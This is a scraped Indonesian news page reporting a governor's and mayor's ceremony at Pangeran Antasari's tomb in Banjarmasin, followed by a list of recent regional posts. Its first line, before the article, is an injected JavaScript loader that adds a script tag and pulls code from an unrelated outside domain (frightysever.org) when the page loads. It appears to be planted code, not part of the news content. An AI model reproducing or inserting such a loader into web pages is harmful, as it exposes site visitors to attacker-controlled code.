(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Historia

Gubernur dan Walikota Gelar Upacara di Makam Pangeran Antasari


BANJARMASIN, Memperingati wafatnya Pahlawan Nasional Pangeran Antasari ke-154, Rabu (11/10), Gubernur Kalsel H Sahbirin Noor melaksanakan upacara di kompleks makam yang berada di samping masjid Jami, Banjarmasin. Upacara juga dihadiri Walikota Banjarmasin Ibnu Sina, Danrem 101 Antasari, Forkompinda, Sekda Kota Banjarmasin, para asisten dan staf ahli serta para kepala SKPD, serta para veteran.

Upacara singkat ini juga dibacakan sejarah Pangeran Antasari yang selama hidupnya. Termasuk sejumlah kata-kata mutiara yang sering diucapkan untuk menyemangati para pejuangan dimasa penjajahan dulu. Setelah penyerahan karangan bunga oleh Gubenur, bersama para peziarah melakukan tabur bunga di Makam Pangeran Antasari yang awali gubenur bersama walikota.

Sahbirin mengatakan, Pangeran Antasari merupakan sosok yang tidak pantang menyerah berdasarkan slogannya Waja Sampai Kaputing. Berkat perjuangannya, generasi penerus bisa merasakan manis suasana kemerdekaan sampai saat ini.

“Maka dari itu, kita harus hormati perjuangannya, “  ungkapnya.

Gubenur Sahbirin juga menyampaikan supaya Pemerintah Kota Banjarmasin bisa memperhatikan kondisi lingkungan sekitar Komplek Makam Pangeran Antasari, seperti, membersihkan rumput-rumput sekitar.

Pada kegiatan ini, gubenur juga memberikan santunan kepada keturunan dari Pangeran Antasari yang masih ada.

Sementara Ibnu Sina menanggapi permintaan Gubernur Kalsel Sahbirin Noor, akan segera menindaklanjuti permintaan tersebut. Dia mengatakan, telah meminta Sekda Kota Banjarmasin Hamli Kursani, untuk memeriksa kawasan komplek Makam Pangeran Antasari, apakah memungkinkan kawasan tersebut untuk dibangun Balai Rakyat.

Walikota Ibnu Sina juga menegaskan untuk menjaga kebersihan disekitar makam, karena terdapat beberapa TPS liar, yang cukup mengganggu kenyamanan lingkungan. “Kita sudah melakukan beberapa kali himbauan kepada masyarakat untuk tidak membuang sampah disekitar makam ini,’’ ujarnya. (robby)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.